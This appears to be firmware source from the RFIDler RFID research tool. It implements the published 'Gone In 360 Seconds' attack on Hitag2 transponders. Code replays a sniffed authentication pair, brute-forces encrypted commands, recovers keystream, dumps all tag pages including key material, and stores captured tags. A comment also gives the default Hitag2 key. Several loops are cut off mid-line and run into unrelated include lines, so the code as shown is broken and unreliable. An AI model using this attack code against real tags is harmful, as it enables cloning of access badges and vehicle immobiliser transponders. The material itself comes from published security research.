NVMProgram((void *) HITAG2_PWM_NVM_ADDRESS, (const void *) &count, sizeof(uint32_t), (void*) TmpBuff);
}
void store_pwm(BYTE *data)
{
uint32_t count;
BYTE *entry;
BYTE datastr[20];
memcpy(&count, (void *)HITAG2_PWM_NVM_ADDRESS, 4);
// UserMessage("current count: %d\r\n", count);
if (count >= HITAG2_PWM_NVM_MAX)
{
return;
}
// convert data from bits to hexstring
binstringtohex(datastr, data);
// store data
entry = (BYTE *)HITAG2_PWM_NVM_DATA + (20 * count);
NVMProgram((void *) entry, (const void *) datastr, 20, (void*) TmpBuff);
// update count
count++;
NVMProgram((void *) HITAG2_PWM_NVM_ADDRESS, (const void *) &count, sizeof(uint32_t), (void*) TmpBuff);
// return;
}
void hitag2_pwm_display_nrars()
{
uint32_t count;
uint32_t index;
int i;
BYTE tmp[20];
memcpy(&count, (void *)HITAG2_PWM_NVM_ADDRESS, 4);
UserMessage("%s", "\r\n");
if (count == 0)
{
UserMessage("%s", "No HiTag2 PWM stored\r\n");
return;
}
if (count > HITAG2_PWM_NVM_MAX)
{
UserMessage("%s", "Count overflow\r\n");
return;
}
tmp[8] = 0x00;
for (index=0; index
#include "HardwareProfile.h"
#include "rfidler.h"
#include "util.h"
#include "hitagcrypto.h"
#include "hitag2crack.h"
#include "hitag.h"
#define READP0CMD "1100000111"
#define ERROR_RESPONSE "F402889C"
extern const BYTE Hitag2Sync[5];
extern BOOL CryptoActive;
extern Hitag_State Hitag_Crypto_State;
// hitag2_crack implements the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch.
// response is a multi-line text response containing the 8 pages of the
// cracked tag;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
BOOL hitag2_crack(BYTE *response, BYTE *nrarhex)
{
BYTE uidhex[9];
BYTE uid[32];
BYTE nrar[64];
BYTE e_firstcmd[10];
BYTE e_page0cmd[10];
BYTE keybits[42];
BYTE pagehex[9];
BYTE temp[20];
int i;
BYTE *spaceptr = NULL;
UserMessage("\r\n");
// get uid as hexstring
if(!hitag2_get_uid(uidhex))
{
UserMessage("Cannot get UID\r\n");
return FALSE;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr)
{
UserMessage("Please supply a valid nR aR pair\r\n");
return FALSE;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32)
{
UserMessage("nR is not 32 bits long\r\n");
return FALSE;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32)
{
UserMessage("aR is not 32 bits long\r\n");
return FALSE;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar))
{
UserMessage("Cannot find a valid encrypted command\r\n");
return FALSE;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid))
{
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return FALSE;
}
// empty the response string
response[0] = 0x00;
// read all pages using key stream
for (i=0; i<8; i++)
{
if (hitag2crack_read_page(pagehex, i, nrar, keybits))
{
sprintf(temp, "%1d: %s\r\n", i, pagehex);
}
else
{
sprintf(temp, "%1d:\r\n", i);
}
// add page string to response
strcat(response, temp);
}
return TRUE;
}
// hitag2crack_find_valid_e_cmd repeatedly replays the auth protocol each
// with a different sequential encrypted command value in order to find one
// that returns a valid response.
// e_cmd is the returned binarray of the valid encrypted command;
// nrar is the binarray of the 64 bit nR aR pair.
BOOL hitag2crack_find_valid_e_cmd(BYTE e_cmd[], BYTE nrar[])
{
BYTE guess[10];
BYTE responsestr[9];
BYTE a, b, c, d, e, g;
UserMessage("Finding valid encrypted command:");
// we're going to hold bits 5, 7, 8 and 9 and brute force the rest
// e.g. x x x x x 0 x 0 0 0
for (a=0; a<2; a++)
{
for (b=0; b<2; b++)
{
for (c=0; c<2; c++)
{
for (d=0; d<2; d++)
{
for (e=0; e<2; e++)
{
for (g=0; g<2; g++)
{
// build binarray
guess[0] = a;
guess[1] = b;
guess[2] = c;
guess[3] = d;
guess[4] = e;
guess[5] = 0;
guess[6] = g;
guess[7] = 0;
guess[8] = 0;
guess[9] = 0;
// send guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10))
{
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0)
{
// return the guess as the encrypted command
memcpy(e_cmd, guess, 10);
UserMessage("\r\n");
return TRUE;
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_valid_e_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
}
}
UserMessage("hitag2crack_find_valid_e_cmd:\r\n no valid encrypted command found\r\n");
return FALSE;
}
// hitag2crack_find_e_page0_cmd tries all bit-flipped combinations of the
// valid encrypted command and tests the results by attempting an extended
// command version of the command to see if that produces a valid response.
// keybits is the returned binarray of the recovered key stream;
// e_page0cmd is the returned binarray of the encrypted 'read page 0' command;
// e_firstcmd is the binarray of the first valid encrypted command found;
// nrar is the binarray of the 64 bit nR aR pair;
// uid is the binarray of the 32 bit UID.
BOOL hitag2crack_find_e_page0_cmd(BYTE keybits[], BYTE e_firstcmd[], BYTE nrar[], BYTE uid[])
{
BYTE a, b, c, d;
BYTE guess[10];
BYTE responsestr[9];
BYTE e_uid[32];
UserMessage("Finding 'read page 0' command:");
// we're going to brute the missing 4 bits of the valid encrypted command
for (a=0; a<2; a++)
{
for (b=0; b<2; b++)
{
for (c=0; c<2; c++)
{
for (d=0; d<2; d++)
{
// create our guess by bit flipping the pattern of bits
// representing the inverted bit and the 3 page bits
// in both the non-inverted and inverted parts of the
// encrypted command.
memcpy(guess, e_firstcmd, 10);
if (a)
{
guess[5] = !guess[5];
guess[0] = !guess[0];
}
if (b)
{
guess[7] = !guess[7];
guess[2] = !guess[2];
}
if (c)
{
guess[8] = !guess[8];
guess[3] = !guess[3];
}
if (d)
{
guess[9] = !guess[9];
guess[4] = !guess[4];
}
// try the guess
if (hitag2crack_send_e_cmd(responsestr, nrar, guess, 10))
{
// check if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0)
{
// convert response to binarray
hextobinarray(e_uid, responsestr);
// test if the guess was 'read page 0' command
if (hitag2crack_test_e_p0cmd(keybits, nrar, guess, uid, e_uid))
{
UserMessage("\r\n");
return TRUE;
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
#endif
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_find_e_page0_cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
UserMessage(".");
}
}
}
}
UserMessage("hitag2crack_find_e_page0_cmd:\r\n could not find encrypted 'read page 0' command\r\n");
return FALSE;
}
// hitag2crack_test_e_p0cmd XORs the message (command + response) with the
// encrypted version to retrieve the key stream. It then uses this key stream
// to encrypt an extended version of the READP0CMD and tests if the response
// is valid.
// keybits is the returned binarray of the key stream;
// nrar is the 64 bit binarray of nR aR pair;
// e_cmd is the binarray of the encrypted command;
// uid is the binarray of the card UID;
// e_uid is the binarray of the encrypted version of the UID.
BOOL hitag2crack_test_e_p0cmd(BYTE *keybits, BYTE *nrar, BYTE *e_cmd, BYTE *uid, BYTE *e_uid)
{
BYTE cipherbits[42];
BYTE plainbits[42];
BYTE ext_cmd[40];
BYTE e_ext_cmd[40];
BYTE responsestr[9];
int i;
// copy encrypted cmd to cipherbits
memcpy(cipherbits, e_cmd, 10);
// copy encrypted uid to cipherbits
memcpy(cipherbits + 10, e_uid, 32);
// copy cmd to plainbits
binstringtobinarray(plainbits, READP0CMD);
// copy uid to plainbits
memcpy(plainbits + 10, uid, 32);
// xor the plainbits with the cipherbits to get keybits
hitag2crack_xor(keybits, plainbits, cipherbits, 42);
// create extended cmd -> 4 * READP0CMD = 40 bits
for (i=0; i<4; i++)
{
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits, 40);
// send extended encrypted cmd
if (hitag2crack_send_e_cmd(responsestr, nrar, e_ext_cmd, 40))
{
// test if it was valid
if (strcmp(responsestr, ERROR_RESPONSE) != 0)
{
return TRUE;
}
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_test_e_p0cmd:\r\n hitag2crack_send_e_cmd failed\r\n");
#endif
}
return FALSE;
}
// hitag2crack_xor XORs the source with the pad to produce the target.
// source, target and pad are binarrays of length len.
void hitag2crack_xor(BYTE *target, BYTE *source, BYTE *pad, unsigned int len)
{
int i;
for (i=0; i 7))
{
UserMessage("hitag2crack_read_page:\r\n invalid pagenum\r\n");
return FALSE;
}
// create cmd
binstringtobinarray(cmd, READP0CMD);
if (pagenum & 0x1)
{
cmd[9] = !cmd[9];
cmd[4] = !cmd[4];
}
if (pagenum & 0x2)
{
cmd[8] = !cmd[8];
cmd[3] = !cmd[3];
}
if (pagenum & 0x4)
{
cmd[7] = !cmd[7];
cmd[2] = !cmd[2];
}
// encrypt command
hitag2crack_xor(e_cmd, cmd, keybits, 10);
// send encrypted command
if (hitag2crack_send_e_cmd(e_responsestr, nrar, e_cmd, 10))
{
// check if it is valid
if (strcmp(e_responsestr, ERROR_RESPONSE) != 0)
{
// convert to binarray
hextobinarray(e_response, e_responsestr);
// decrypt response
hitag2crack_xor(response, e_response, keybits + 10, 32);
// convert to hexstring
binarraytohex(responsestr, response, 32);
return TRUE;
}
else
{
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd returned ERROR_RESPONSE\r\n");
}
}
else
{
UserMessage("hitag2crack_read_page:\r\n hitag2crack_send_e_cmd failed\r\n");
}
return FALSE;
}
// hitag2crack_send_e_cmd replays the auth and sends the given encrypted
// command.
// responsestr is the hexstring of the response to the command;
// nrar is the 64 bit binarray of the nR aR pair;
// cmd is the binarray of the encrypted command to send;
// len is the length of the encrypted command.
BOOL hitag2crack_send_e_cmd(BYTE *responsestr, BYTE *nrar, BYTE *cmd, int len)
{
BYTE tmp[37];
BYTE uid[9];
BYTE e_page3str[9];
int ret = 0;
// get the UID
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
return FALSE;
}
// START_AUTH kills active crypto session
CryptoActive = FALSE;
// get the UID again
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
return FALSE;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, FALSE))
{
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
return FALSE;
}
// send encrypted command
if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, FALSE))
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
#endif
return FALSE;
}
return TRUE;
}
// hitag2crack_tx_rx transmits a message and receives a response.
// responsestr is the hexstring of the response;
// msg is the binarray of the message to send;
// state is the RWD state;
// reset indicates whether to reset RWD state after.
BOOL hitag2crack_tx_rx(BYTE *responsestr, BYTE *msg, int len, int state, BOOL reset)
{
BYTE tmp[37];
int ret = 0;
// START_AUTH kills active crypto session
CryptoActive= FALSE;
if(!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
{
UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
return FALSE;
}
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits = 1;
ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY);
// check if response was a valid length (5 sync bits + 32 bits response)
if (ret == 37)
{
// check sync bits
if (memcmp(tmp, Hitag2Sync, 5) != 0)
{
UserMessage("hitag2crack_tx_rx: no sync\r\n");
return FALSE;
}
// convert response to hexstring
binarraytohex(responsestr, tmp + 5, 32);
return TRUE;
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
#endif
return FALSE;
}
return FALSE;
}
BOOL hitag2crack_rng_init(BYTE *response, BYTE *input)
{
uint64_t sharedkey;
uint32_t serialnum;
uint32_t initvector;
BYTE *spaceptr;
BYTE *dataptr;
// extract vals from input
dataptr = input;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr)
{
UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
return FALSE;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 12)
{
UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
return FALSE;
}
sharedkey = rev64(hexreversetoulonglong(dataptr));
dataptr = spaceptr+1;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr)
{
UserMessage("/r/nno UID\r\n");
return FALSE;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 8)
{
UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
return FALSE;
}
serialnum = rev32(hexreversetoulong(dataptr));
dataptr = spaceptr+1;
if (strlen(dataptr) != 8)
{
UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
return FALSE;
}
initvector = rev32(hexreversetoulong(dataptr));
// start up crypto engine
hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector);
strcpy(response, "Success\r\n");
return TRUE;
}
BOOL hitag2crack_decrypt_hex(BYTE *response, BYTE *hex)
{
BYTE bin[32];
BYTE binhex[9];
BYTE binstr[33];
uint32_t binulong;
if (strlen(hex) != 8)
{
UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
return FALSE;
}
binulong = hextoulong(hex);
ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32);
binarraytobinstring(binstr, bin, 32);
binarraytohex(binhex, bin, 32);
// UserMessage("ar = %s\r\n", binstr);
// UserMessage("arhex = %s\r\n", binhex);
strcpy(response, binhex);
return TRUE;
}
BOOL hitag2crack_decrypt_bin(BYTE *response, BYTE *e_binstr)
{
BYTE bin[32];
BYTE e_bin[32];
BYTE binstr[33];
uint32_t binulong;
int len;
len = strlen(e_binstr);
if (len > 32)
{
UserMessage("\r\nbinary string must be <= 32 bits\r\n");
return FALSE;
}
binstringtobinarray(e_bin, e_binstr);
binulong = binarraytoulong(e_bin, len);
ulongtobinarray(bin, hitag2_crypt(binulong, len), len);
binarraytobinstring(binstr, bin, len);
strcpy(response, binstr);
return TRUE;
}
BOOL hitag2crack_encrypt_hex(BYTE *response, BYTE *hex)
{
// XOR pad so encrypt == decrypt :)
return hitag2crack_decrypt_hex(response, hex);
}
BOOL hitag2crack_encrypt_bin(BYTE *response, BYTE *e_binstr)
{
return hitag2crack_decrypt_bin(response, e_binstr);
}
// hitag2_keystream uses the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
// of keystream.
// response is a multi-line text response containing the hex of the keystream;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
BOOL hitag2_keystream(BYTE *response, BYTE *nrarhex)
{
BYTE uidhex[9];
BYTE uid[32];
BYTE nrar[64];
BYTE e_firstcmd[10];
BYTE e_page0cmd[10];
// BYTE keybits[2080];
BYTE *keybits = DataBuff;
BYTE keybitshex[67];
int kslen;
int ksoffset;
BYTE pagehex[9];
BYTE temp[20];
int i;
BYTE *spaceptr = NULL;
UserMessage("\r\n");
/*
keybits = malloc(2080);
if (!keybits) {
UserMessage("cannot malloc keybits\r\n");
return FALSE;
}
*/
// get uid as hexstring
if(!hitag2_get_uid(uidhex))
{
UserMessage("Cannot get UID\r\n");
return FALSE;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr)
{
UserMessage("Please supply a valid nR aR pair\r\n");
return FALSE;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32)
{
UserMessage("nR is not 32 bits long\r\n");
return FALSE;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32)
{
UserMessage("aR is not 32 bits long\r\n");
return FALSE;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar))
{
UserMessage("Cannot find a valid encrypted command\r\n");
return FALSE;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid))
{
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return FALSE;
}
// using the 40 bits of keystream in keybits, sending commands with ever
// increasing lengths to acquire 2048 bits of key stream.
kslen = 40;
while (kslen < 2048)
{
ksoffset = 0;
if (!hitag2crack_send_auth(nrar))
{
UserMessage("hitag2crack_send_auth failed\r\n");
return FALSE;
}
// while we have at least 52 bits of keystream, consume it with
// extended read page 0 commands. 52 = 10 (min command len) +
// 32 (response) + 10 (min command len we'll send)
while ((kslen - ksoffset) >= 52)
{
// consume the keystream, updating ksoffset as we go
if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar))
{
UserMessage("hitag2crack_consume_keystream failed\r\n");
return FALSE;
}
}
// send an extended command to retrieve more keystream, updating kslen
// as we go
if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid))
{
UserMessage("hitag2crack_extend_keystream failed\r\n");
return FALSE;
}
UserMessage("Recovered %d bits of keystream\r\n", kslen);
}
for (i=0; i<2048; i+=256)
{
binarraytohex(keybitshex, keybits + i, 256);
UserMessage("%s\r\n", keybitshex);
}
response[0] = 0x00;
return TRUE;
}
// hitag2crack_send_auth replays the auth and returns.
// nrar is the 64 bit binarray of the nR aR pair;
BOOL hitag2crack_send_auth(BYTE *nrar)
{
BYTE uid[9];
BYTE e_page3str[9];
// get the UID
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
return FALSE;
}
// START_AUTH kills active crypto session
CryptoActive = FALSE;
// get the UID again
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
return FALSE;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, FALSE))
{
UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
return FALSE;
}
return TRUE;
}
// hitag2crack_consume_keystream sends an extended command (up to 510 bits in
// length) to consume keystream.
// keybits is the binarray of keystream bits;
// kslen is the length of keystream;
// ksoffset is a pointer to the current keystream offset (updated by this fn);
// nrar is the 64 bit binarray of the nR aR pair.
BOOL hitag2crack_consume_keystream(BYTE *keybits, int kslen, int *ksoffset, BYTE *nrar)
{
int conlen;
int numcmds;
int i;
BYTE ext_cmd[510];
BYTE e_ext_cmd[510];
BYTE responsestr[9];
// calculate the length of keybits to consume with the extended command.
// 42 = 32 bit response + 10 bit command reserved for next command. conlen
// cannot be longer than 510 bits to fit into the small RWD buffer.
conlen = kslen - *ksoffset - 42;
if (conlen < 10)
{
UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
return FALSE;
}
// sanitise conlen
if (conlen > 510)
{
conlen = 510;
}
// calculate how many repeated commands to send in this extended command.
numcmds = conlen / 10;
// build extended command
for (i=0; i= HITAG2_NVM_MAX)
{
return FALSE;
}
entry = hitag2_nvm_find_tag(tag);
if (entry)
{
// UID already exists
return TRUE;
}
// store tag
entry = (BYTE *)HITAG2_NVM_DATA + (64 * count);
NVMProgram((void *) entry, (const void *) tag, 64, (void*) TmpBuff);
// update count
count++;
NVMProgram((void *) HITAG2_NVM_ADDRESS, (const void *) &count, sizeof(uint32_t), (void*) TmpBuff);
return TRUE;
}
BYTE *hitag2_nvm_find_tag(BYTE *tag)
{
BYTE *entry = NULL;
uint32_t index = 0;
uint32_t count;
memcpy(&count, (void *)HITAG2_NVM_ADDRESS, 4);
if (count > HITAG2_NVM_MAX)
{
UserMessage("hitag2_find_tag: count is invalid\r\n");
return NULL;
}
// loop over entries
for (index=0, entry=(BYTE *)HITAG2_NVM_DATA; index HITAG2_NVM_MAX)
{
UserMessage("Invalid NVM counter\r\n");
return FALSE;
}
UserMessage("%d tags stored\r\n", count);
return TRUE;
}
BOOL hitag2_nvm_display_tags(uint32_t start, uint32_t end)
{
uint32_t count;
uint32_t index;
int i;
BYTE tmp[9];
memcpy(&count, (void *)HITAG2_NVM_ADDRESS, 4);
UserMessage("\r\n");
if (count == 0)
{
UserMessage("No HiTag2 tags stored\r\n");
return TRUE;
}
if (!start)
{
start = 1;
end = count;
}
if ((count > HITAG2_NVM_MAX) || (start > count) || (end < start) || (end > count))
{
UserMessage("Invalid tag selection\r\n");
return FALSE;
}
tmp[8] = 0x00;
for (index=start; index<=end; index++)
{
UserMessage("Tag number %d\r\n", index);
for (i=0; i<8; i++)
{
UserMessage("%d: ", i);
memcpy(tmp, (BYTE *)HITAG2_NVM_DATA + ((index - 1) * 64) + (i * 8), 8);
UserMessage("%s\r\n", tmp);
}
UserMessage("\r\n");
}
return TRUE;
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/hitagcrypto.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: unknown.
// Modifications for RFIDler: Tony Naggs , Adam Laurie
// uncomment this to build file as a standalone crypto test program
// #define UNIT_TEST
// also uncomment to include verbose debug prints
// #define TEST_DEBUG
//#include
#include "HardwareProfile.h"
#include "rfidler.h"
#include "hitagcrypto.h"
#include "util.h"
#ifdef UNIT_TEST
#include
#endif
#if defined(UNIT_TEST) && defined(TEST_DEBUG)
// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.
// This may need changing for other compilers/platforms.
#define DEBUG_PRINTF(...) printf(__VA_ARGS__)
#else
#define DEBUG_PRINTF(...)
#endif
/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)
Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft
fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.
At about the same time, late 1980s to early 1990s, Mikron developed the
similarly featured Mifare micropayment card for 13.56MHz RFID.
(Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a
priority date of 23 Aug 1990.)
Mikron was subsequently acquired by Philips Semiconductors in 1995.
Philips Semiconductors divsion subsequently became NXP.
+ Modulation read/write device -> transponder: 100 % ASK and binary pulse
length coding
+ Modulation transponder -> read/write device: Strong ASK modulation,
selectable Manchester or Biphase coding
+ Hitag S, Hitag u; anti-collision procedure
+ Fast anti-collision protocol
+ Hitag u; optional Cyclic Redundancy Check (CRC)
+ Reader Talks First mode
+ Hitag 2 & later; Transponder Talks First (TTF) mode
+ Temporary switch from Transponder Talks First into Reader Talks First
(RTF) Mode
+ Data rate read/write device to transponder: 5.2 kbit/s
+ Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s
+ 32-bit password feature
+ Hitag 2, S = 32-bit Unique Identifier
+ Hitag u = 48-bit Unique Identifier
+ Selectable password modes for reader / tag mutual authentication
(Hitag 1 has 2 pairs of keys, later versions have 1 pair)
+ Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key
Known tag types:
HITAG 1 2048 bits total memory
HITAG 2 256 Bit total memory Read/Write
8 pages of 32 bits, inc UID (32),
secret key (64), password (24), config (8)
HITAG S 32 32 bits Unique Identifier Read Only
HITAG S 256 256 bits total memory Read/Write
HITAG S 2048 2048 bits total memory Read/Write
HITAG u RO64 64 bits total memory Read Only
HITAG u 128 bits total memory Read/Write
HITAG u Advanced 512 bits total memory Read/Write
HITAG u Advanced+ 1760 bits total memory Read/Write
Default 48-bit key for Hitag 2, S encryption:
"MIKRON" = O N M I K R
Key = 4F 4E 4D 49 4B 52
*/
// We want the crypto functions to be as fast as possible, so optimize!
// The best compiler optimization in Microchip's free XC32 edition is -O1
#pragma GCC optimize("O1")
// private, nonlinear function to generate 1 crypto bit
static uint32_t hitag2_crypt(uint64_t x);
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
((S >> (C - 2)) & 0xC) )
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
((S >> (C - 3)) & 8) )
